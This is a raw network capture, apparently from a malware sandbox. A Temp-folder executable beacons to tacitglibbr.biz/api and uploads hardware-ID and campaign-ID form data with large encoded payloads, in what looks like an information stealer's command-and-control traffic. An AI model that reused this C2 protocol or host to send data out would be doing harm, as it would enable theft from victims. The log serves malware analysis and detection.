2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 74 47 31 2f 62 59 7a 78 30 4b 6c 32 43 4b 6f 62 45 31 79 33 4a 50 78 6b 6b 39 6e 75 72 57 6d 31 61 4e 31 49 79 73 64 51 39 68 53 6c 72 4f 2f 64 44 63 48 52 66 61 4c 63 79 32 76 53 69 5a 49 31 6e 56 56 58 72 50 35 4d 6a 44 45 64 6e 55 39 2f 74 6c 44 47 42 42 53 73 76 75 31 73 77 66 43 4a 4e 71 69 4b 2b 35 4f 64 31 2f 53 4d 42 42 63 64 75 74 30 6f 77 53 33 4a 71 6d 74 43 4e 4c 4a 6b 46 55 68 61 53 54 36 77 73 45 6c 6d 37 4d 75 50 51 67 6d 58 78 44 68 52 6f 39 33 4b 54 55 67 78 7a 54 6b 4b 71 39 61 51 42 6d 54 55 2f 4b 2b 4e 58 4f 48 77 65 52 61 6f 32 68 76 7a 50 53 66 55 4c 47 52 48 75 51 35 4a 47 45 44 70 58 4d 37 35 74 34 43 47 70 42 44 4e 71 79 79 6f 6f 58 43 39 6f 37 7a 4b 79 32 50 64 35 37 51 73 5a 4b 65 4e 53 67 31 49 4d 65 78 35 79 76 76 48 45 58 5a Data Ascii: tG1/bYzx0Kl2CKobE1y3JPxkk9nurWm1aN1IysdQ9hSlrO/dDcHRfaLcy2vSiZI1nVVXrP5MjDEdnU9/tlDGBBSsvu1swfCJNqiK+5Od1/SMBBcdut0owS3JqmtCNLJkFUhaST6wsElm7MuPQgmXxDhRo93KTUgxzTkKq9aQBmTU/K+NXOHweRao2hvzPSfULGRHuQ5JGEDpXM75t4CGpBDNqyyooXC9o7zKy2Pd57QsZKeNSg1IMex5yvvHEXZ
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 6b 6b 2f 52 51 46 5a 6c 7a 6a 36 69 72 42 35 6b 6a 56 76 73 43 64 73 61 74 77 59 41 41 33 70 6d 6a 71 6c 31 46 50 68 49 65 6c 36 36 42 6d 41 39 48 68 56 7a 43 35 37 74 35 67 55 4a 57 68 56 51 39 69 50 69 66 77 77 53 56 7a 4f 2f 38 59 42 64 30 51 45 2f 54 2f 35 54 30 4c 69 43 4d 61 59 75 33 76 53 37 57 4f 77 47 46 54 54 32 49 6b 35 47 4b 45 63 36 46 75 62 5a 7a 41 69 5a 35 41 6f 58 6b 6b 35 4a 51 4d 70 6c 74 67 71 43 73 4b 4a 52 63 57 63 39 46 62 64 65 39 33 73 4e 59 6c 5a 4c 76 34 7a 42 4c 4a 6b 4a 64 68 61 53 44 6d 45 74 53 79 54 54 63 39 61 56 33 77 44 74 5a 68 52 6f 76 6e 75 72 44 77 30 36 56 30 36 79 70 63 51 4e 6c 55 45 2b 43 77 75 33 74 43 67 71 63 64 4a 32 5a 68 44 37 44 64 6b 6e 53 55 7a 48 46 71 64 2b 4e 45 63 50 55 34 66 74 73 52 54 35 2f 44 49 Data Ascii: kk/RQFZlzj6irB5kjVvsCdsatwYAA3pmjql1FPhIel66BmA9HhVzC57t5gUJWhVQ9iPifwwSVzO/8YBd0QE/T/5T0LiCMaYu3vS7WOwGFTT2Ik5GKEc6FubZzAiZ5AoXkk5JQMpltgqCsKJRcWc9Fbde93sNYlZLv4zBLJkJdhaSDmEtSyTTc9aV3wDtZhRovnurDw06V06ypcQNlUE+Cwu3tCgqcdJ2ZhD7DdknSUzHFqd+NEcPU4ftsRT5/DI
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 53 46 66 49 4f 4e 6e 30 37 57 6d 4c 5a 41 48 63 41 6d 75 51 38 6f 50 4e 56 73 66 55 39 2f 73 6b 42 6e 52 55 53 73 62 71 30 49 30 75 4f 62 31 74 69 36 61 73 4b 63 35 30 63 66 74 58 66 74 36 6b 31 70 55 48 6c 64 72 76 74 43 4e 64 58 77 59 45 68 63 4f 64 69 67 68 48 77 69 4f 35 70 4c 51 33 33 6d 31 65 69 47 56 7a 31 36 76 48 6b 77 48 61 31 4f 48 37 5a 55 55 2b 46 41 4b 46 2b 4d 4b 4b 53 46 66 49 4f 4e 6e 30 37 57 6d 4c 5a 41 48 63 41 6d 75 51 38 6f 50 4e 56 73 66 55 39 2f 73 6b 42 6e 52 55 53 73 62 71 30 49 30 75 4f 62 31 74 69 36 61 73 4b 63 35 30 41 4f 74 30 58 4f 36 55 78 49 41 59 32 35 4f 35 71 69 4e 4c 4a 6b 6b 4d 6e 63 57 54 67 6c 41 34 31 43 4f 55 35 2b 4a 35 37 48 68 42 79 30 56 72 77 65 66 32 6a 52 48 55 67 72 2b 73 62 45 70 49 63 47 32 46 73 70 50 Data Ascii: SFfIONn07WmLZAHcAmuQ8oPNVsfU9/skBnRUSsbq0I0uOb1ti6asKc50cftXft6k1pUHldrvtCNdXwYEhcOdighHwiO5pLQ33m1eiGVz16vHkwHa1OH7ZUU+FAKF+MKKSFfIONn07WmLZAHcAmuQ8oPNVsfU9/skBnRUSsbq0I0uOb1ti6asKc50AOt0XO6UxIAY25O5qiNLJkkMncWTglA41COU5+J57HhBy0Vrwef2jRHUgr+sbEpIcG2FspP
2024-12-16 08:02:02 UTC	1369	IN	Data Raw: 6d 53 79 6d 5a 63 72 33 6d 74 4d 68 33 4e 72 30 36 72 66 68 46 61 62 31 4c 66 37 4f 30 56 4c 56 45 76 56 2f 35 4f 45 55 41 76 61 4f 38 79 71 71 44 37 4a 65 41 50 43 57 48 71 51 74 5a 2b 61 56 73 50 55 39 2b 67 74 52 58 51 47 46 49 57 37 33 63 63 52 42 4a 52 67 6e 72 57 38 4f 73 39 34 43 50 74 38 55 4d 4b 74 77 59 42 55 35 4a 6d 72 72 58 59 47 64 6b 46 79 2b 39 48 42 7a 51 41 45 32 45 2b 4c 71 72 59 48 35 30 78 65 77 6c 49 2f 39 71 6e 48 67 46 61 62 31 4c 66 37 4f 30 56 4c 56 45 76 56 2f 35 48 6d 46 77 71 57 49 35 50 70 6f 33 6e 50 4f 78 65 57 44 44 33 43 36 6f 6e 44 55 64 61 47 76 62 31 67 45 32 55 42 63 76 76 52 77 63 30 41 42 4e 68 53 67 61 4f 73 4c 4e 70 72 53 50 74 38 55 4d 4b 74 77 59 42 55 38 4b 37 74 69 6e 55 47 5a 6b 68 4c 68 62 4b 54 30 6c 42 66 Data Ascii: mSymZcr3mtMh3Nr06rfhFab1Lf7O0VLVEvV/5OEUAvaO8yqqD7JeAPCWHqQtZ+aVsPU9+gtRXQGFIW73ccRBJRgnrW8Os94CPt8UMKtwYBU5JmrrXYGdkFy+9HBzQAE2E+LqrYH50xewlI/9qnHgFab1Lf7O0VLVEvV/5HmFwqWI5Ppo3nPOxeWDD3C6onDUdaGvb1gE2UBcvvRwc0ABNhSgaOsLNprSPt8UMKtwYBU8K7tinUGZkhLhbKT0lBf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49964	104.21.50.161	443	2356	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:04 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6O1P0LWN9I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: tacitglibbr.biz
2024-12-16 08:02:04 UTC	12787	OUT	Data Raw: 2d 2d 36 4f 31 50 30 4c 57 4e 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 34 30 34 36 43 36 45 35 39 35 30 43 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 4f 31 50 30 4c 57 4e 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 4f 31 50 30 4c 57 4e 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 36 4f 31 50 30 4c 57 4e 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --6O1P0LWN9IContent-Disposition: form-data; name="hwid"DA4046C6E5950CDDAC8923850305D13E--6O1P0LWN9IContent-Disposition: form-data; name="pid"2--6O1P0LWN9IContent-Disposition: form-data; name="lid"PsFKDg--pablo--6O1P0LWN9IContent-
2024-12-16 08:02:05 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mkjo828qc3bvis0bjc12ivqe50; expires=Fri, 11-Apr-2025 01:48:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yxxPh2ICtTAbMyIOiSJSSY7PW54aM1Bmbq4o5LwwJE1lcdvCqyTH%2FQ%2B7crGuKBck3WFBTUVl3LDmNRNxMhwmbWOwFJAzbZOukRXhjWQ8WFNTk8djO2Lnmiugql%2BM%2Bx%2Bniu4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d262e2da70fab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&min_rtt=1515&rtt_var=597&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13718&delivery_rate=1927392&cwnd=188&unsent_bytes=0&cid=8a8780e49fa84f0c&ts=823&x=0"
2024-12-16 08:02:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 08:02:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49970	104.21.50.161	443	2356	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:07 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7ETY3DNE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15017 Host: tacitglibbr.biz
2024-12-16 08:02:07 UTC	15017	OUT	Data Raw: 2d 2d 37 45 54 59 33 44 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 34 30 34 36 43 36 45 35 39 35 30 43 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 45 54 59 33 44 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 45 54 59 33 44 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 45 54 59 33 44 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --7ETY3DNEContent-Disposition: form-data; name="hwid"DA4046C6E5950CDDAC8923850305D13E--7ETY3DNEContent-Disposition: form-data; name="pid"2--7ETY3DNEContent-Disposition: form-data; name="lid"PsFKDg--pablo--7ETY3DNEContent-Disposit
2024-12-16 08:02:08 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9tej0h047p1njeqs1o3ngjhf3s; expires=Fri, 11-Apr-2025 01:48:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n6y76Yejt%2FyHuvrf71FoFQZQrjmjM%2Fn0oKBvGNyWqK7pDwmVjq4%2B%2BCxPngCN6FiYxnDHO1QE76kj6StYh9uO3f5EDsQ6qoXM12BUEU6gxVb8Kpjy8BKYIx%2BpIG04lDNJrlI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d26402dce7cfc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1747&rtt_var=691&sent=14&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15946&delivery_rate=1543340&cwnd=223&unsent_bytes=0&cid=509cb79c040c55b9&ts=1087&x=0"
2024-12-16 08:02:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 08:02:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49979	104.21.50.161	443	2356	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:10 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=74LY5MZM25P0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20531 Host: tacitglibbr.biz
2024-12-16 08:02:10 UTC	15331	OUT	Data Raw: 2d 2d 37 34 4c 59 35 4d 5a 4d 32 35 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 34 30 34 36 43 36 45 35 39 35 30 43 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 34 4c 59 35 4d 5a 4d 32 35 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 34 4c 59 35 4d 5a 4d 32 35 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 34 4c 59 35 4d 5a 4d 32 35 50 30 0d 0a Data Ascii: --74LY5MZM25P0Content-Disposition: form-data; name="hwid"DA4046C6E5950CDDAC8923850305D13E--74LY5MZM25P0Content-Disposition: form-data; name="pid"3--74LY5MZM25P0Content-Disposition: form-data; name="lid"PsFKDg--pablo--74LY5MZM25P0
2024-12-16 08:02:10 UTC	5200	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-16 08:02:11 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l74i379b44hagct2u85fei3klo; expires=Fri, 11-Apr-2025 01:48:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BJa51c1unYwDp6RvcZXshPHghaz5LbfkU%2BDkMuwM2UdHa79AxWFUbKhlMZ2jM6DQi%2BmscX%2FhLoVAA3qu7ADk8pj49ANCABGcur61cJJLCnFfjPcXRr9vDugDSphbwuqBl0I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d2651f8557295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18759&min_rtt=2109&rtt_var=10833&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21486&delivery_rate=1384542&cwnd=206&unsent_bytes=0&cid=272f0410527fc4ad&ts=923&x=0"
2024-12-16 08:02:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 08:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49994	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 08:02:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 08:02:16 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nqv47gpdjcjs0oken5mci33of; expires=Fri, 11-Apr-2025 01:48:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ols%2Frqfo4IKydjfJvEORaPs4gTiInTlcHmVhpPyImPZe0XhxDSsJDBfxDcaRH0wdBhSSkrWTdjcjLiUg51LT9XcoTN6FN%2Bco%2FaaVFDA4%2FMEKweav%2F4sRqGPFKCfEe1C5Y60%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d26729c978cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1763&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1549893&cwnd=237&unsent_bytes=0&cid=cc5da4bcbe6f5b89&ts=1008&x=0"
2024-12-16 08:02:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 08:02:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	50000	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:02:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 08:02:18 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 08:02:19 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lcfhpjg8u1b1gi7c1lueg3pig1; expires=Fri, 11-Apr-2025 01:48:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KpmrZmucKgZmMnigt%2F8W%2Fhmq1ho9toAlCoBOPUa6mNTzil%2BP%2BTyEFNpbxMKVUq0KN%2FushbjZW45v7eM2SOJv2SFsjlomPeHLKPkt0KgqLThOnVjLpdvsxcun90NtqRmy0Cs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d26824e3fefa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&min_rtt=1775&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1613259&cwnd=113&unsent_bytes=0&cid=4bfb73d927b1ed08&ts=750&x=0"
2024-12-16 08:02:19 UTC	354	IN	Data Raw: 34 65 36 0d 0a 43 4d 74 44 2b 6e 79 43 74 56 61 43 71 59 67 6b 6e 54 34 2f 30 54 2f 53 4d 4b 4a 41 59 44 2b 4c 57 64 4c 4e 38 79 6c 39 4a 34 64 7a 36 54 58 59 52 72 61 5a 64 50 48 4d 71 68 37 70 54 45 71 30 45 2f 42 52 78 6d 4a 61 57 65 6f 31 6f 61 6a 66 43 77 74 4b 70 54 4b 74 49 70 59 50 35 35 6c 30 35 39 47 71 48 73 5a 46 48 62 52 52 38 41 71 41 4a 51 70 64 36 6a 57 77 72 4a 68 47 44 55 76 6b 59 4b 63 6b 6b 68 6e 68 30 54 66 75 78 4f 31 42 2b 46 39 56 76 31 61 2f 57 4d 39 69 54 42 33 75 49 2f 44 33 30 57 51 59 55 2b 5a 46 71 6a 43 52 58 76 2b 5a 4c 61 44 4d 35 67 61 6e 48 46 36 30 58 62 35 57 78 69 73 49 56 2b 4d 39 73 61 6d 5a 57 52 52 42 37 32 43 70 4a 35 4d 54 36 4d 55 36 35 4d 50 6d 52 2f 4a 66 48 66 30 64 74 30 71 41 65 6b 49 4f 32 7a 69 68 76 6f Data Ascii: 4e6CMtD+nyCtVaCqYgknT4/0T/SMKJAYD+LWdLN8yl9J4dz6TXYRraZdPHMqh7pTEq0E/BRxmJaWeo1oajfCwtKpTKtIpYP55l059GqHsZFHbRR8AqAJQpd6jWwrJhGDUvkYKckkhnh0TfuxO1B+F9Vv1a/WM9iTB3uI/D30WQYU+ZFqjCRXv+ZLaDM5ganHF60Xb5WxisIV+M9samZWRRB72CpJ5MT6MU65MPmR/JfHf0dt0qAekIO2zihvo
2024-12-16 08:02:19 UTC	907	IN	Data Raw: 64 63 6d 36 4d 44 68 51 2b 31 58 56 4c 35 51 73 46 2f 4b 4c 51 46 64 37 6a 47 36 6f 4a 74 50 45 6b 6a 6a 61 71 6c 68 31 6c 37 6e 7a 33 53 34 69 38 6c 44 37 31 74 52 70 52 2b 4b 45 74 39 73 47 78 33 75 4e 2f 44 33 30 55 4d 61 52 75 5a 68 70 69 4b 51 46 66 4c 58 4a 75 62 47 37 31 54 35 57 56 4f 35 58 71 4a 59 7a 69 51 42 56 4f 49 79 74 61 69 56 43 31 45 46 34 6e 4c 70 65 64 67 2f 37 64 77 34 36 74 7a 71 42 75 41 53 52 50 4e 61 76 42 4b 59 59 67 5a 63 37 54 71 30 6f 5a 39 50 45 30 50 72 5a 36 59 6e 6b 68 37 6e 33 54 7a 6f 79 75 64 4e 38 46 78 59 76 6c 6d 32 58 73 45 6e 51 68 4f 70 50 4b 6a 76 79 51 73 78 51 75 5a 34 36 78 53 62 45 4f 37 51 49 71 44 55 70 46 2b 2f 57 31 48 7a 42 66 42 63 78 53 30 51 58 50 73 2b 76 72 32 64 54 68 6c 49 35 6d 53 70 4a 4a 38 54 Data Ascii: dcm6MDhQ+1XVL5QsF/KLQFd7jG6oJtPEkjjaqlh1l7nz3S4i8lD71tRpR+KEt9sGx3uN/D30UMaRuZhpiKQFfLXJubG71T5WVO5XqJYziQBVOIytaiVC1EF4nLpedg/7dw46tzqBuASRPNavBKYYgZc7Tq0oZ9PE0PrZ6Ynkh7n3TzoyudN8FxYvlm2XsEnQhOpPKjvyQsxQuZ46xSbEO7QIqDUpF+/W1HzBfBcxS0QXPs+vr2dThlI5mSpJJ8T
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 34 34 33 36 0d 0a 4a 64 56 72 74 62 76 56 6e 50 4c 51 56 56 36 6a 65 31 6f 70 49 4c 55 51 58 69 63 75 6c 35 32 44 76 75 31 43 58 78 69 64 39 46 38 56 4a 61 70 52 32 76 48 4e 6c 69 42 56 47 70 59 2f 43 6c 6c 6b 77 62 53 4f 39 70 72 53 57 56 45 65 6e 65 50 66 4c 42 35 6b 6a 74 55 56 65 32 55 37 78 58 7a 79 49 44 58 4f 63 78 75 2b 2f 66 43 78 68 64 70 54 4c 70 44 70 55 4f 38 74 30 2f 38 59 6e 66 52 66 46 53 57 71 55 64 72 78 7a 5a 59 67 56 52 71 57 50 77 70 4a 64 48 45 30 58 6a 65 4b 63 75 69 68 54 79 30 7a 72 6b 78 2b 52 50 38 6c 4e 59 6f 56 6d 77 51 4d 45 6e 42 56 50 6b 4b 62 58 76 33 77 73 59 58 61 55 79 36 52 75 73 47 66 44 47 4d 36 4c 2b 36 55 6a 78 57 30 76 7a 51 76 35 4c 67 43 55 4f 48 62 46 37 73 36 4f 63 51 68 70 4b 39 32 43 6c 49 49 6f 5a 36 64 34 Data Ascii: 4436JdVrtbvVnPLQVV6je1opILUQXicul52Dvu1CXxid9F8VJapR2vHNliBVGpY/CllkwbSO9prSWVEenePfLB5kjtUVe2U7xXzyIDXOcxu+/fCxhdpTLpDpUO8t0/8YnfRfFSWqUdrxzZYgVRqWPwpJdHE0XjeKcuihTy0zrkx+RP8lNYoVmwQMEnBVPkKbXv3wsYXaUy6RusGfDGM6L+6UjxW0vzQv5LgCUOHbF7s6OcQhpK92ClIIoZ6d4
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 30 4c 7a 56 6c 32 32 54 37 68 55 78 79 34 4b 57 4f 59 39 74 61 4b 57 51 42 78 58 39 32 6d 74 4c 35 52 65 72 70 63 7a 2b 49 75 79 42 74 70 4c 58 71 4e 62 73 78 4c 66 62 42 73 64 37 6a 66 77 39 39 46 4c 45 55 6e 75 62 61 49 71 6e 42 72 67 32 6a 2f 75 78 65 4e 4b 39 31 42 61 6f 56 43 31 57 73 6f 72 42 31 48 6b 4f 4b 4b 73 6b 41 74 52 42 65 4a 79 36 58 6e 59 4f 64 50 67 46 36 44 55 70 46 2b 2f 57 31 48 7a 42 66 42 54 79 43 55 4d 57 66 73 31 6f 71 47 57 53 78 6c 4e 37 57 32 6c 4c 35 59 4d 36 4e 59 30 37 73 54 69 54 2f 74 64 57 62 64 52 74 78 4b 4f 59 67 56 46 71 57 50 77 68 35 4a 52 42 51 66 4c 59 61 6b 6d 69 41 6a 37 6c 79 75 75 30 71 70 42 38 78 77 46 38 31 6d 37 57 4d 6b 68 43 31 6e 6b 4f 37 6d 67 6d 45 4d 53 54 66 64 72 